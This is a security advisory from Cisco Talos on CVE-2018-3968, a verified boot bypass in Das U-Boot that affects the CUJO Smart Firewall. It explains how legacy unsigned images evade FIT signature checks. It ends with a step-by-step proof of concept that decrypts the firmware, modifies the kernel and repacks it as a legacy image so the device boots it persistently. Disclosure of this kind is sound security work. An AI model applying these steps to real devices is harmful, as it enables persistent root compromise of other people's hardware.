Talos Vulnerability Report

TALOS-2018-0633

Das U-Boot verified boot bypass

March 19, 2019
CVE Number

CVE-2018-3968

Summary

An exploitable vulnerability exists in the verified boot protection of the Das U-Boot from version 2013.07-rc1 to 2014.07-rc2. The affected versions lack proper FIT signature enforcement, which allows an attacker to bypass U-Boot’s verified boot and execute an unsigned kernel, embedded in a legacy image format. To trigger this vulnerability, a local attacker needs to be able to supply the image to boot.

Tested Versions

Das U-Boot 2013.07-rc1 to 2014.07-rc2
OCTEON-SDK 3.1.2 to 5.1
CUJO Smart Firewall - Firmware version 7003

Product URLs

http://www.denx.de/wiki/U-Boot/WebHome
https://www.marvell.com/embedded-processors/infrastructure-processors/octeon-multi-core-mips64-processors/software-development-kit/
https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

8.2 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-347: Improper Verification of Cryptographic Signature

Details

This vulnerability was discovered while looking at the CUJO Smart Firewall, but the actual vulnerability is present in Das U-Boot 2013.07-rc1 to 2014.07-rc2. It was corrected in version 2014.07-rc3. However no CVE was assigned and it was not treated as a vulnerability but as a security improvement, meaning OCTEON-SDK did not correct their version. This, in turn, leads to the vulnerability in CUJO where an attacker can bypass signing of images.

Note however, that in order to exploit this vulnerability in CUJO, an attacker would need either physical access to the device, or local access through a previously exploited vulnerability. For this reason, while this vulnerability has a CVSS score of 8.2, the impact on CUJO is lower, and would thus have a score of 7.5 (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H), since the attack complexity would be higher.

CUJO AI produces CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limiting their internet access.

To achieve this, CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic going through the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.
The firmware is present in the external eMMC and is based on OCTEON’s SDK, which results in a Linux-based operating system running a kernel with PaX patches.

Boot process

The boot process involves reading three bootloader stages from the lower 16MB of the eMMC. The first bootloader is OCTEON’s eMMC bootloader, while the other two belong to U-Boot.

Under normal conditions, the third-stage bootloader reads an encrypted FIT image file named cujo.rd0 from the first FAT partition. The bootloader also reads seed.rd0, which is used in combination with an external EEPROM to derive the key needed to decrypt cujo.rd0.

After decryption, we can see that the FIT image contains a kernel image and a configuration:

$ dumpimage -l cujo.rd0.7003.dec
FIT description: CUJO
Created:         unavailable
    Image 0 (kernel@1)
        Description:  kernel
        Created:      unavailable
        Type:         Kernel Image
        Compression:  uncompressed
        Data Size:    34669392 Bytes = 33856.83 KiB = 33.06 MiB
        Architecture: MIPS
        OS:           Linux
        Load Address: 0x20000000
        Entry Point:  0x20000000
        Hash algo:    sha256
        Hash value:   ebddfb7308925f7b47625523e729e00c8ee7df5876a4d8dfa0053fc2af312a42
    Default Configuration: 'conf@1'
    Configuration 0 (conf@1)
        Description:  linux
        Kernel:       kernel@1
        Sign algo:    sha256,rsa4096
        Sign value:   [redacted]

The kernel image embeds an initramfs, so this image alone is enough to boot the device.

At this stage, the third-stage bootloader tries to boot the system by passing the decrypted FIT image to U-Boot’s bootm command.

As we can see, the FIT image has a signed configuration which contains the kernel’s hash, signed using RSA-4096. This is part of U-Boot’s Verified Boot. The bootm command checks the signature, and boots the kernel only if the verification succeeds.

Additionally, the first 16MB of the eMMC have been permanently write-protected, as we can see from /usr/libexec/mmc_lock:

#!/bin/sh
...

if ! /sbin/mmc cujo format "${ROOTDEV}"; then                    # [1]
    echo "/sbin/mmc failed"
    test_error
fi

old_sha512="$(dd if=${ROOTDEV} bs=512 count=32768 | \
    /usr/bin/openssl sha512 -binary | base64)"
...
if ! dd if=/dev/zero of="${ROOTDEV}" bs=512 count=32768; then    # [2]
    echo "failed to overwrite boot blocks"
    test_error
fi
...
new_sha512="$(dd if=${ROOTDEV} bs=512 count=32768 | \
    /usr/bin/openssl sha512 -binary | base64)"
...
if [ "${old_sha512}" != "${new_sha512}" ]; then                  # [3]
    echo "checksum mismatch"
    test_error
fi

touch /config/mmc_locked
echo "eMMC lock test OK"

The mmc binary [1] is called to lock the first 16MB of the eMMC: this is simply a modified version of mmc-utils that adds support for a simplified locking operation:

# grep -a "mmc-utils has" /sbin/mmc
mmc-utils has been compiled without MMC_IOC_MULTI_CMD support, needed by FFU.

# mmc -h|tail
    mmc cujo format <device>
        Marks the first 16MB of <device> as read-only.

    mmc help|--help|-h
        Show the help.

    mmc <cmd> --help
        Show detailed help for a command or subset of commands.

0.1

Verified boot bypass

Since the bootloaders are present in the lower 16MB of the eMMC, which is write-protected, attackers can’t bypass the verified boot by disabling the FIT signature checks from the third-stage bootloader.

Ideally, this should prevent attackers that manage to execute arbitrary commands on the device from achieving a persistent root that survives across reboots.

However, on U-Boot versions from 2013.07-rc1 to 2014.07-rc2 (inclusive), signed FIT images couldn’t be enforced, since the bootloader allowed for booting both signed and unsigned (called legacy) image formats.

As an example, see a portion of the common/cmd_bootm.c file for version 2013.07:

static const void *boot_get_kernel(...)
{
    ...
    switch (genimg_get_format(buf)) {
    case IMAGE_FORMAT_LEGACY:
        printf("## Booting kernel from Legacy Image at %08lx ...\n",
                img_addr);
        hdr = image_get_kernel(img_addr, images->verify);
        ...
        break;
#if defined(CONFIG_FIT)
    case IMAGE_FORMAT_FIT:
        os_noffset = fit_image_load(images, FIT_KERNEL_PROP,
                img_addr,
                &fit_uname_kernel, &fit_uname_config,
                IH_ARCH_DEFAULT, IH_TYPE_KERNEL,
                BOOTSTAGE_ID_FIT_KERNEL_START,
                FIT_LOAD_IGNORED, os_data, os_len);
        ...
        break;
#endif
    default:
        printf("Wrong Image Format for %s command\n", cmdtp->name);
        bootstage_error(BOOTSTAGE_ID_FIT_KERNEL_INFO);
        return NULL;
    }
    ...
}

As we can see, the FIT image format support could be disabled using a “config option”, but the legacy format was not.

Commit 21d29f7f9f4888a4858b58b368ae7cf8783a6ebf, with title “bootm: make use of legacy image format configurable “, fixed this issue. A warning was added to doc/uImage.FIT/signature.txt, but no CVE was ever assigned:

WARNING: When relying on signed FIT images with required signature check
the legacy image format is default disabled by not defining
CONFIG_IMAGE_FORMAT_LEGACY

These are the changes related to the boot_get_kernel shown above:

@@ static const void *boot_get_kernel(...)
        switch (genimg_get_format(buf)) {
+#if defined(CONFIG_IMAGE_FORMAT_LEGACY)
        case IMAGE_FORMAT_LEGACY:
                printf("## Booting kernel from Legacy Image at %08lx ...\n",
                                img_addr);
                hdr = image_get_kernel(img_addr, images->verify);
                ...
                break;
+#endif

The commit simply adds a IMAGE_FORMAT_LEGACY “config option” that disables the legacy image support altogether. Before this commit, developers had no way to disable the legacy format which allows for booting unsigned kernel images.

Moreover note that since CUJO uses the OCTEON SDK, which in turn uses U-Boot version 2013.07, they are both vulnerable to this issue. Because of this, and since products have no possibility to use the impacted U-Boot versions without avoiding the issue, this CVE has been assigned to U-Boot.

With respect to CUJO, this vulnerability allows local attackers with root privileges to bypass the MMC locking and the verified boot, and thus start the device using an arbitrary kernel, compromising the device persistently.

Exploit Proof of Concept

The following proof of concept shows how to modify the kernel to achieve a persistent root.

1. Mount the boot partition
    # mount /dev/mmcblk0p1 /boot
2. Decrypt `cujo.rd0`
    # cat /boot/seed.rd0 | atmelctl -D -s 15 | cfe -Da -i /boot/cujo.rd0 -o /var/cujo.rd0.7003.dec
3. Extract the kernel
    $ dumpimage -i cujo.rd0.7003.dec -T flat_dt -p 0 kernel.7003
4. Modify the kernel at will and generate a new kernel.7003.mod
5. Repack into the legacy image format
    $ mkimage -A mips -O Linux -T kernel -C none -a 0x20000000 -e 0x20000000 -n kernel -d kernel.7003.mod cujo.rd3
6. Replace the CUJO image
    < place cujo.rd3 in /boot >
    # echo -en "\x03" > /boot/last_image

The last step copies the generated legacy image, unencrypted, into cujo.rd3. In fact, encrypting the image is not necessary as CUJO’s 3rd stage bootloader tries to boot the image, as is, using bootm, and if this returns an error, the bootloader will attempt to decrypt it before booting it again using bootm.
Finally, last_image contains the index of the image to boot, in our case 3 as we chose to overwrite cujo.rd3.

At the next boot, U-Boot will see cujo.rd3 as a legacy image and boot it, as we can see from the UART output:

Started watchdog with a 60000 ms timeout
reading cujo.rd3
34669456 bytes read in 3093 ms (10.7 MiB/s)
## Booting kernel from Legacy Image at 00100000 ...
   Image Name:   kernel
   Created:      2018-07-06  00:00:00 UTC
   Image Type:   MIPS Linux Kernel Image (uncompressed)
   Data Size:    34669392 Bytes = 33.1 MiB
   Load Address: 20000000
   Entry Point:  20000000
   Verifying Checksum ... OK
## Flattened Device Tree blob at 00080000
   Booting using the fdt blob at 0x080000
   Loading Kernel Image ... OK

Timeline

2018-07-19 - Vendor Disclosure
2019-03-19 - Public Release

Credit

Discovered by Claudio Bozzato and Yves Younan of Cisco Talos.